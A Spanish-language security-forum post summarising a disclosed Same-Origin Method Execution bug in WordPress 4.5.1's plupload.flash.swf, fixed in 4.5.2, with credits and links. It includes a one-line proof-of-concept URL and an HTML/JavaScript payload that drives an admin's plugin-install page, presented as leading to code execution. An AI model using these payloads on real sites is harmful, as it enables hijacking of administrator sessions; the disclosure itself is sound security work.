Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: arthusu en Mayo 13, 2016, 04:09:06 AM

Título: WordPress SOME bug en plupload.flash.swf
Publicado por: arthusu en Mayo 13, 2016, 04:09:06 AM
Resumen rapido

* SOME en Wordpress 4.5.1
* Reportado a finales de abril
* Corregido en Wordpress 4.5.2

  Introduccion

Wordpress 4.5.1 es vulnerable de nuevo a Same-Origin Method Execution (SOME) (http://www.benhayak.com/2015/06/same-origin-method-execution-some.html) vulnerabilidad que se deriva por un proceso de sanatizacion de una URL insegura en el archivo plupload.flash.swf. El codigo en el archivo intenta remover FlashVars en su caso para establecer los parametros por GET pero falla al hacer esto, habilitando XSS via ExternalInterface (http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html).

El ataque fue descrito por Soroush Dalili in 2013 (https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-bypassing-the-guardians-part-1/). La vulnerabilidad en plupload.flash.swf fue descubierta en abril del 2016, primeramente identificada como SOME bug por Kinugawa (http://www.benhayak.com/2015/06/same-origin-method-execution-some.html). Entonces, despues el team lo reviso, la completa explotacion fue descubierta y analizada por Heiderich, Filedescriptor, Kinugawa and Inführ. Finalmente, es decubierto, que el archivo viene empaquetado en la ultima version de Wordpress y el problema fue reportado via HackerOne por Heiderich et al.

PoC Simple:  http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello& (http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&)

Un PoC mas complejo fue creado para demostrar el ataque potencial Remote Code Execution (RCE) de esta vulnerabilidad. Una descripcion detallada puede ser encontrada mas abajo:

<button onclick="fire()">Click</button> <script> function fire() {  open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');   setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"') } </script>

Para ver la explicacion a profundidad y el post original:
  https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e (https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e)